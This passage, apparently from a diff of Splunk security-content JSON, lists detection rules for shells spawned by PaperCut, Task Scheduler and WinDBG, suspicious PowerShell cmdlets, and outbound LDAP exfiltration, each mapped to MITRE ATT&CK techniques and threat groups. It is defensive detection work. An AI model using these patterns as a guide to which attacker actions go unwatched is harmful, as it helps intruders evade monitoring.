\"*Get-Recipient*\", \"*Search-Mailbox*\") | stats count min(_time) as firstTime max(_time) as lastTime by host Message | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename host AS dest | `windows_msexchange_management_mailbox_cmdlet_usage_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Cmdlets related to ProxyShell and ProxyNotShell have been identified on $dest$.", - "risk_score": 32, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows PaperCut NG Spawn Shell", - "description": "The following analytic detects instances where the PaperCut NG application (pc-app.exe) spawns a Windows shell, such as cmd.exe or PowerShell. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is pc-app.exe. This activity is significant as it may indicate an attacker attempting to gain unauthorized access or execute malicious commands on the system. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, or further compromise of the affected environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=pc-app.exe `process_cmd` OR `process_powershell` OR Processes.process_name=java.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_papercut_ng_spawn_shell_filter`", - "tags": { - "analytic_story": [ - "PaperCut MF NG Vulnerability" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The PaperCut NG application has spawned a shell $process_name$ on endpoint $dest$ by $user$.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Powershell Cryptography Namespace", - "description": "The following analytic detects suspicious PowerShell script execution involving the cryptography namespace via EventCode 4104. It leverages PowerShell Script Block Logging to identify scripts using cryptographic functions, excluding common hashes like SHA and MD5. This activity is significant as it is often associated with malware that decrypts or decodes additional malicious payloads. If confirmed malicious, this could allow an attacker to execute further code, escalate privileges, or establish persistence within the environment. Analysts should investigate the parent process, decrypted data, network connections, and the user executing the script.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*System.Security.Cryptography*\" AND NOT(ScriptBlockText IN (\"*SHA*\", \"*MD5*\", \"*DeriveBytes*\")) | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_cryptography_namespace_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains cryptography command detected on host $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Powershell Import Applocker Policy", - "description": "The following analytic detects the import of Windows PowerShell Applocker cmdlets, specifically identifying the use of \"Import-Module Applocker\" and \"Set-AppLockerPolicy\" with an XML policy. It leverages PowerShell Script Block Logging (EventCode 4104) to capture and analyze script block text. This activity is significant as it may indicate an attempt to enforce restrictive Applocker policies, potentially used by malware like Azorult to disable antivirus products. If confirmed malicious, this could allow an attacker to bypass security controls, leading to further system compromise and persistence.", - "search": "`powershell` EventCode=4104 ScriptBlockText=\"*Import-Module Applocker*\" ScriptBlockText=\"*Set-AppLockerPolicy *\" ScriptBlockText=\"* -XMLPolicy *\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_import_applocker_policy_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell script contains Import Applocker Policy command $ScriptBlockText$ with EventCode $EventCode$ on host $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Powershell RemoteSigned File", - "description": "The following analytic identifies the use of the \"remotesigned\" execution policy for PowerShell scripts. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions containing \"remotesigned\" and \"-File\". This activity is significant because the \"remotesigned\" policy allows locally created scripts to run without restrictions, posing a potential security risk. If confirmed malicious, an attacker could execute unauthorized scripts, leading to code execution, privilege escalation, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` Processes.process=\"* remotesigned *\" Processes.process=\"* -File *\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_remotesigned_file_filter`", - "tags": { - "analytic_story": [ - "Amadey" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell commandline with remotesigned policy executed on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows PowerShell ScheduleTask", - "description": "The following analytic detects potential malicious activities involving PowerShell's task scheduling cmdlets. It leverages PowerShell Script Block Logging (EventCode 4104) to identify unusual or suspicious use of cmdlets like 'New-ScheduledTask' and 'Set-ScheduledTask'. This activity is significant as attackers often use these cmdlets for persistence and remote execution of malicious code. If confirmed malicious, this could allow attackers to maintain access, deliver additional payloads, or execute ransomware, leading to data theft or other severe impacts. Immediate investigation and mitigation are crucial to prevent further compromise.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*New-ScheduledTask*\", \"*New-ScheduledTaskAction*\", \"*New-ScheduledTaskSettingsSet*\", \"*New-ScheduledTaskTrigger*\", \"*Register-ClusteredScheduledTask*\", \"*Register-ScheduledTask*\", \"*Set-ClusteredScheduledTask*\", \"*Set-ScheduledTask*\", \"*Start-ScheduledTask*\", \"*Enable-ScheduledTask*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_scheduletask_filter`", - "tags": { - "analytic_story": [ - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user_id", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "The PowerShell cmdlets related to task creation, modification and start occurred on $Computer$ by $user_id$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows PowerShell WMI Win32 ScheduledJob", - "description": "The following analytic detects the use of the Win32_ScheduledJob WMI class via PowerShell script block logging. This class, which manages scheduled tasks, is disabled by default due to security concerns and must be explicitly enabled through registry modifications. The detection leverages PowerShell event code 4104 and script block text analysis. Monitoring this activity is crucial as it may indicate malicious intent, especially if the class was enabled by an attacker. If confirmed malicious, this could allow attackers to persist in the environment by creating scheduled tasks.", - "search": "`powershell` EventCode=4104 ScriptBlockText=\"*win32_scheduledjob*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_wmi_win32_scheduledjob_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell attempting to create a task via WMI - Win32_ScheduledJob, was ran on $dest$.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Scheduled Task Service Spawned Shell", - "description": "The following analytic detects when the Task Scheduler service (\"svchost.exe -k netsvcs -p -s Schedule\") spawns common command line, scripting, or shell execution binaries such as \"powershell.exe\" or \"cmd.exe\". This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant as attackers often abuse the Task Scheduler for execution and persistence, blending in with legitimate Windows operations. If confirmed malicious, this could allow attackers to execute arbitrary code, maintain persistence, or escalate privileges within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process=\"*\\\\system32\\\\svchost.exe*\" AND Processes.parent_process=\"*-k*\" AND Processes.parent_process= \"*netsvcs*\" AND Processes.parent_process=\"*-p*\" AND Processes.parent_process=\"*-s*\" AND Processes.parent_process=\"*Schedule*\" Processes.process_name IN(\"powershell.exe\", \"wscript.exe\", \"cscript.exe\", \"cmd.exe\", \"sh.exe\", \"ksh.exe\", \"zsh.exe\", \"bash.exe\", \"scrcons.exe\",\"pwsh.exe\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_scheduled_task_service_spawned_shell_filter`", - "tags": { - "analytic_story": [ - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A windows scheduled task spawned the shell application $process_name$ on $dest$.", - "risk_score": 20, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows WinDBG Spawning AutoIt3", - "description": "The following analytic identifies instances of the WinDBG process spawning AutoIt3. This behavior is detected by monitoring endpoint telemetry for processes where 'windbg.exe' is the parent process and 'autoit3.exe' or similar is the child process. This activity is significant because AutoIt3 is frequently used by threat actors for scripting malicious automation, potentially indicating an ongoing attack. If confirmed malicious, this could allow attackers to automate tasks, execute arbitrary code, and further compromise the system, leading to data exfiltration or additional malware deployment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=windbg.exe AND (Processes.process_name IN (\"autoit3.exe\", \"autoit*.exe\") OR Processes.original_file_name IN (\"autoit3.exe\", \"autoit*.exe\")) by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.original_file_name, Processes.process, Processes.process_id, Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | eval matches_extension=if(match(process, \"\\\\.(au3|a3x|exe|aut|aup)$\"), \"Yes\", \"No\") | search matches_extension=\"Yes\" | `windows_windbg_spawning_autoit3_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Detect Outbound LDAP Traffic", - "description": "The following analytic identifies outbound LDAP traffic to external IP addresses. It leverages the Network_Traffic data model to detect connections on ports 389 or 636 that are not directed to private IP ranges (RFC1918). This activity is significant because outbound LDAP traffic can indicate potential data exfiltration or unauthorized access attempts. If confirmed malicious, attackers could exploit this to access sensitive directory information, leading to data breaches or further network compromise.", - "search": "| tstats earliest(_time) as earliest_time latest(_time) as latest_time values(All_Traffic.dest_ip) as dest_ip from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port = 389 OR All_Traffic.dest_port = 636 AND NOT (All_Traffic.dest_ip = 10.0.0.0/8 OR All_Traffic.dest_ip=192.168.0.0/16 OR All_Traffic.dest_ip = 172.16.0.0/12) by All_Traffic.src_ip All_Traffic.dest_ip |`drop_dm_object_name(\"All_Traffic\")` | where src_ip != dest_ip | `security_content_ctime(latest_time)` | `security_content_ctime(earliest_time)` |`detect_outbound_ldap_traffic_filter`", - "tags": { - "analytic_story": [ - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - 